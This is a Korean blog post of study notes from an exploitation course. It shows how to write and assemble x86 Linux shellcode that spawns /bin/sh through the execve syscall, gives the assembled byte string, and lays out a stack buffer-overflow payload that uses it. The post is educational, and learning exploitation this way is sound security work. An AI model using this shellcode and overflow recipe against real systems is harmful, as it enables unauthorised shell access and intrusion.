셸코드

보안/드림핵 / / 2020. 7. 20. 12:28
반응형

eip 레지스터 값을 바꿔 원하는 주소의 기계어 코드를 실행할 수 있게 되었습니다.


공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행한다면, 셸에서 제공하는 여러 명령어들을 실행할 수 있게 됩니다.




example1 바이너리에서 /bin/sh 바이너리를 실행시키는 기계어 코드를 만들어 보겠습니다.


리눅스에서는 바이너리를 실행시키기 위해서 execve 시스템 콜을 사용합니다.


execve 시스템 콜의 인자는 다음과 같습니다.


execve syscall

syscall number(eax register) - 0xb(11)

1st argument(ebx register) – pathname

2nd argument(ecx register) – argv[]

3rd argument(edx register) – envp[]


pathname에는 실행시킬 바이너리의 경로, argv는 프로그램의 인자 포인터 배열, envp에는 프로그램의 환경변수 포인터 배열이 요구됩니다.


단순히 /bin/sh 바이너리를 실행시키는 것이 목적이기 때문에 최종적으로는 다음 인자 형태의 execve 시스템 콜을 호출하면 됩니다.


sys_execve("/bin/sh" 주소, NULL, NULL)


그럼 sys_execve("/bin/sh" 주소, NULL, NULL)를 호출하는 기계어 코드를 만들어 보겠습니다.


먼저, sys_execve("/bin/sh" 주소, NULL, NULL)를 실행하는 어셈블리 코드를 만듭니다.


다음으로, 만들어진 어셈블리 코드를 기계어 코드로 바꿉니다.


이 기계어 코드는 x86 리눅스 아키텍처의 어느 바이너리에서 실행시켜도 항상 /bin/sh 바이너리를 실행시키는 기능을 하고, 이를 셸코드라고 부릅니다.



---------------------------------------------------------------------------------------------------------------



순서

어셈블리 코드 작성->기계어 코드로 변환 ->바이너리코드 사용




어셈블리코드 작성 - shellcode.asm

nano shellcode.asm


section .text

global _start

_start

xor    eax, eax

push   eax

push   0x68732f2f

push   0x6e69622f

mov    ebx, esp

xor    ecx, ecx

xor    edx, edx

mov    al, 0xb

int    0x80


어셈블리 코드를 기계어로 변환  - shellcode.o


nasm  설치(인텔 x86 아키텍처용 어셈블러이자 역어셈블러)

sudo apt-get install nasm



ELF파일 형식으로 어셈블


nasm -f elf shellcode.asm

-f옵션 출력파일 형식 설정

-elf파일 형식 :ELF(Executable and Linkable Format)는 실행 파일, 목적 파일, 공유 라이브러리 그리고 코어 덤프를 위한 표준 파일 형식이다. 1999년 86open 프로젝트에 의해 x86 기반 유닉스, 유닉스 계열 시스템들의 표준 바이너리 파일 형식으로 선택되었다.



objdump -d shellcode.o

-objdump란

라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행파일등의 바이너리 파일들의 정보를 보여주는 프로그램

-objdump는 ELF 파일을 어셈블리어로 보여주는 역어셈블러로 사용될 수 있다.

-d옵션

실행코드가 들어있는 .text 섹션 같은 부분을 디스어셈블 한다.


기계어 코드 - shellcode.bin


바이너리 포맷을 바꿔주기

objcopy --dump-section .text=shellcode.bin shellcode.o

-objcopy 란

오브젝트 파일을 다른 오브젝트 파일로 복사할 때 사용한는데, 선택적으로 필요한 부분만을 복사할 수 있기 때문에 파일의 사이즈를 줄이는 데 주로 사용되고, 바이너리 포맷을 바꾸는 데도 이용된다.



파일을 16진수로 보여줌

xxd shellcode.bin



위에서 확인 쉘코드 출력형태로 변환

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"



쉘 실행하기 

셸코드 + 버퍼 채우기+ 쉘코드가 들어간 주소

ex buf[32]에서 오버플로우가 발생시 

위에서 얻은 쉘코드(23byte)+임의의 바이트(13byte=버퍼채우기(9byte)+Stack Frame Pointer(4byte))+buf주소(4byte)


------------------------------------------------------------------------------------------------------------------




드림핵참조

https://dreamhack.io/learn/2/2#16





반응형

'보안 > 드림핵' 카테고리의 다른 글

gdb  (0) 2020.07.17
시스템해킹(취약점 종류)  (0) 2020.07.13
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기